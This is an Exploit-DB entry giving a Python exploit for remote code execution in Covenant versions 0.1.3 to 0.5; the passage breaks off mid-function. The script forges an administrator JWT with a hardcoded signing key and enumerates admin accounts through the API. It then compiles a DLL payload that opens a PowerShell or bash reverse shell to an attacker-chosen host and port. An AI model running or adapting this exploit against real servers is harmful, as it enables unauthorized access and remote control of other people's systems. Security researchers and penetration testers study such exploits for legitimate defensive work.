Exploit-DB #51141
Description: Covenant v0.5 - Remote Code Execution (RCE)
Type: webapps
Platform: multiple
Date: 2023-03-30
Author: xThaz

Exploit:
# Exploit Title: Covenant v0.5 - Remote Code Execution (RCE)
# Exploit Author: xThaz
# Author website: https://xthaz.fr/
# Date: 2022-09-11
# Vendor Homepage: https://cobbr.io/Covenant.html
# Software Link: https://github.com/cobbr/Covenant
# Version: v0.1.3 - v0.5
# Tested on: Windows 11 compiled covenant (Windows defender disabled), Linux covenant docker

# Vulnerability
## Discoverer: coastal
## Date: 2020-07-13
## Discoverer website: https://blog.null.farm
## References:
##   - https://blog.null.farm/hunting-the-hunters
##   - https://github.com/Zeop-CyberSec/covenant_rce/blob/master/covenant_jwt_rce.rb

# !/usr/bin/env python3
# encoding: utf-8


import jwt  # pip3 install PyJWT
import json
import warnings
import base64
import re
import random
import argparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning
from Crypto.Hash import HMAC, SHA256  # pip3 install pycryptodome
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from requests import request  # pip3 install requests
from subprocess import run
from pwn import remote, context  # pip3 install pwntools
from os import remove, urandom
from shutil import which
from urllib.parse import urlparse
from pathlib import Path
from time import time


def check_requirements():
    if which("mcs") is None:
        print("Please install the mono framework in order to compile the payload.")
        print("https://www.mono-project.com/download/stable/")
        exit(-1)


def random_hex(length):
    alphabet = "[PII_REDACTED]abcdef"
    return ''.join(random.choice(alphabet) for _ in range(length))


def request_api(method, token, route, body=""):
    warnings.simplefilter('ignore', InsecureRequestWarning)

    return request(
        method,
        f"{args.target}/api/{route}",
        json=body,
        headers={
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json"
        },
        verify=False
    )


def craft_jwt(username, userid=f"{random_hex(8)}-{random_hex(4)}-{random_hex(4)}-{random_hex(4)}-{random_hex(12)}"):
    secret_key = '%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm\'q%1ugAvfq6rC'

    payload_data = {
        "sub": username,
        "jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
        "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": userid,
        "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
            "User",
            "Administrator"
        ],
        "exp": int(time()) + 360,
        "iss": "Covenant",
        "aud": "Covenant"
    }

    token = jwt.encode(payload_data, secret_key, algorithm='HS256')
    return token


def get_id_admin(token, json_roles):
    id_admin = ""
    for role in json_roles:
        if role["name"] == "Administrator":
            id_admin = role["id"]
            print(f"\t[*] Found the admin group id : {id_admin}")
            break
    else:
        print("\t[!] Did not found admin group id, quitting !")
        exit(-1)

    id_admin_user = ""
    json_users_roles = request_api("get", token, f"users/roles").json()
    for user_role in json_users_roles:
        if user_role["roleId"] == id_admin:
            id_admin_user = user_role["userId"]
            print(f"\t[*] Found the admin user id : {id_admin_user}")
            break
    else:    
        print("\t[!] Did not found admin id, quitting !")
        exit(-1)

    json_users = request_api("get", token, f"users").json()
    for user in json_users:
        if user["id"] == id_admin_user:
            username_admin = user["userName"]
            print(f"\t[*] Found the admin username : {username_admin}")
            return username_admin, id_admin_user
    else:    
        print("\t[!] Did not found admin username, quitting !")
        exit(-1)


def compile_payload():
    if args.os == "windows":
        payload = '"powershell.exe", "-nop -c \\"$client = New-Object System.Net.Sockets.TCPClient(\'' + args.lhost + '\',' + args.lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\\""'
    else:
        payload = '"bash", "-c \\"exec bash -i &>/dev/tcp/' + args.lhost + '/' + args.lport + ' <&1\\""'

    dll = """using System;
using System.Reflection;

namespace ExampleDLL{
    public class Class1{
        public Class1(){
        }

        public void Main(string[] args){
            System.Diagnostics.Process.Start(""" + payload + """);
        }
    }
}
"""

    temp_dll_path = f"/tmp/{random_hex(8)}"
    Path(f"{temp_dll_path}.cs").write_bytes(dll.encode())
    print(f"\t[*] Writing payload in {temp_dll_path}.cs")

    compilo_path = which("mcs")
    compilation = run([compilo_path, temp_dll_path + ".cs", "-t:library"])
    if compilation.returncode:
        print("\t[!] Error when compiling DLL, quitting !")
        exit(-1)
    print(f"\t[*] Successfully compiled the DLL in {temp_dll_path}.dll")

    dll_encoded = base64.b64encode(Path(f"{temp_dll_path}.dll").read_bytes()).decode()

    remove(temp_dll_path + ".cs")
    remove(temp_dll_path + ".dll")
    print(f"\t[*] Removed {temp_dll_path}.cs and {temp_dll_path}.dll")
    return dll_encoded


def generate_wrapper(dll_encoded):
    wrapper = """public static class MessageTransform {
    public static string Transform(byte[] bytes) {
        try {
            string assemblyBase64 = \"""" + dll_encoded + """\";
            var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);